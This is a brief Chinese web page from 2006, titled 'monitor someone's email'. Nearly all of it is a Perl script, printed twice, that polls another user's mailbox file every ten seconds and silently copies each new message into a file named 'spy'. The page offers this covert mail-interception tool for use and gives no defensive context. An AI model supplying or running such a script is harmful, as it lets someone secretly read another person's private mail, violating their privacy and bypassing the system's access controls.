监控某人邮件
时间：2006-04-03 来源：y.kevin
#!/usr/bin/perl -w
$file = "/var/mail/xxx";
while (1)
{
$size1 = (stat($file))[7];
sleep 10;
$size2 = (stat($file))[7];
$size = $size2 - $size1;
if($size1 != $size2 and $size > 0)
{
system"tail -c $size /var/mail/xxx >> /var/mail/spy";
}
}
$file = "/var/mail/xxx";
while (1)
{
$size1 = (stat($file))[7];
sleep 10;
$size2 = (stat($file))[7];
$size = $size2 - $size1;
if($size1 != $size2 and $size > 0)
{
system"tail -c $size /var/mail/xxx >> /var/mail/spy";
}
}
相关阅读 更多 +
排行榜 更多 +
